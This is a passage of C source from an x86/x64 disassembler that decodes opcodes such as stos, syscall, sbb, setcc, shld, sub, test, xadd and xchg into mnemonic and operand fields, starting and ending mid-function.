    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosq ");
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 101);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosd ");
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 101);
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosw ");
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 101);
    }
}

// =======================================
//
// =======================================
void __stdcall syscall_(PDISASM pMyDisasm)
{
    if (OperandSize == 64) {
        (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "syscall ");
        EIP_++;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG1 + REG11;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// =======================================
//
// =======================================
void __stdcall sysret_(PDISASM pMyDisasm)
{
    if (OperandSize == 64) {
        (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sysret ");
        EIP_++;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG1 + REG11;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        FailDecode(pMyDisasm);
    }
}



// =======================================
//      18h
// =======================================
void __stdcall sbb_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,93);
}

// =======================================
//      19h
// =======================================
void __stdcall sbb_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,93);
}

// =======================================
//      1ah
// =======================================
void __stdcall sbb_GbEb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,93);
}

// =======================================
//      1bh
// =======================================
void __stdcall sbb_GvEv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,93);
}

// =======================================
//      1ch
// =======================================
void __stdcall sbb_ALIb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,93);
}

// =======================================
//      1dh
// =======================================
void __stdcall sbb_eAX_Iv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb ");
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,93);
}

// =======================================
//      0f90h
// =======================================
void __stdcall seto_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "seto ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f91h
// =======================================
void __stdcall setno_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setno ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setb ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setnb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnb ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall sete_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sete ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setne_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setne ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setbe_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setbe ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setnbe_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnbe ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall sets_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sets ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setns_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setns ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setp_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setp ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setnp_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnp ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setge_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnl ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setnge_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setl ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setle_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setle ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}

// =======================================
//      0f90h
// =======================================
void __stdcall setnle_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnle ");
    OpSize = 101;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    EIP_+= DECALAGE_EIP + 2;
    FillFlags(pMyDisasm,95);
}


// =======================================
//      0fa4h
// =======================================
void __stdcall shld_EvGvIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shld ");
    EvGv(pMyDisasm);
    EIP_+= 1;
    if (!Security(0)) return;
    third_arg = 1;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
    (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.8X", *((BYTE*) (EIP_- 1)));
    (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument3.ArgSize = 8;
    ImmediatSize = 8;
    FillFlags(pMyDisasm, 97);
}


// =======================================
//
// =======================================
void __stdcall shld_EvGvCL(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shld ");
    EvGv(pMyDisasm);
    third_arg = 2;
    (void) strcpy ((*pMyDisasm).Argument3.ArgMnemonic, Registers8Bits[1]);
    (*pMyDisasm).Argument3.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument3.ArgSize = 8;
    FillFlags(pMyDisasm, 97);
}

// =======================================
//      0fach
// =======================================
void __stdcall shrd_EvGvIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shrd ");
    EvGv(pMyDisasm);
    EIP_+= 1;
    if (!Security(0)) return;
    third_arg = 1;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
    (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.8X", *((BYTE*) (EIP_- 1)));
    (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument3.ArgSize = 8;
    ImmediatSize = 8;
    FillFlags(pMyDisasm, 97);
}


// =======================================
//
// =======================================
void __stdcall shrd_EvGvCL(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shrd ");
    EvGv(pMyDisasm);
    third_arg = 2;
    (void) strcpy ((*pMyDisasm).Argument3.ArgMnemonic, Registers8Bits[1]);
    (*pMyDisasm).Argument3.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument3.ArgSize = 8;
    FillFlags(pMyDisasm, 97);
}


// =======================================
//
// =======================================
void __stdcall std_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "std ");
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 99);
}


// =======================================
//      28h
// =======================================
void __stdcall sub_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,103);
}

// =======================================
//      29h
// =======================================
void __stdcall sub_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,103);
}

// =======================================
//      2ah
// =======================================
void __stdcall sub_GbEb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,103);
}

// =======================================
//      2bh
// =======================================
void __stdcall sub_GvEv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,103);
}

// =======================================
//      2ch
// =======================================
void __stdcall sub_ALIb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,103);
}

// =======================================
//      2dh
// =======================================
void __stdcall sub_eAX_Iv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub ");
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,103);
}

// =======================================
//      84h
// =======================================
void __stdcall test_EbGb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
    (*pMyDisasm).Argument1.AccessMode = READ;
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,104);
}

// =======================================
//      85h
// =======================================
void __stdcall test_EvGv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
    (*pMyDisasm).Argument1.AccessMode = READ;
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,104);
}

// =======================================
//      86h
// =======================================
void __stdcall test_GbEb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
    (*pMyDisasm).Argument1.AccessMode = READ;
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,104);
}

// =======================================
//      87h
// =======================================
void __stdcall test_GvEv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
    (*pMyDisasm).Argument1.AccessMode = READ;
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,104);
}

// =======================================
//      88h
// =======================================
void __stdcall test_ALIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
    (*pMyDisasm).Argument1.AccessMode = READ;
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,104);
}

// =======================================
//      89h
// =======================================
void __stdcall test_eAX_Iv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
    (*pMyDisasm).Argument1.AccessMode = READ;
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,104);
}

// =======================================
//
// =======================================
void __stdcall ud2_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + MISCELLANEOUS_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ud2 ");
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall vmread_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmread ");
    EvGv(pMyDisasm);
}

// =======================================
//
// =======================================
void __stdcall vmwrite_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmwrite ");
    GvEv(pMyDisasm);
}

// =======================================
//
// =======================================
void __stdcall wbinvd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "wbinvd ");
    EIP_++;
}

// =======================================
//      9Bh
// =======================================
void __stdcall wait_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "wait ");
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall wrmsr_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "wrmsr ");
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG1 + REG2;
    (*pMyDisasm).Argument2.ArgSize = 32;
}


// =======================================
//      0fc0h
// =======================================
void __stdcall xadd_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xadd ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,110);
}

// =======================================
//      0fc1h
// =======================================
void __stdcall xadd_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xadd ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,110);
}

// =======================================
//      91h
// =======================================
void __stdcall xchg_ecx(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[1+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[1]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[1+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[1]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}


// =======================================
//      92h
// =======================================
void __stdcall xchg_edx(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[2+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[2]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}


// =======================================
//      93h
// =======================================
void __stdcall xchg_ebx(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG3;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        if (REX.B_ == 1) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3+8]);
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3]);
        }
        EIP_++;
        (*pMyDisasm).Argument2.AccessMode = WRITE;
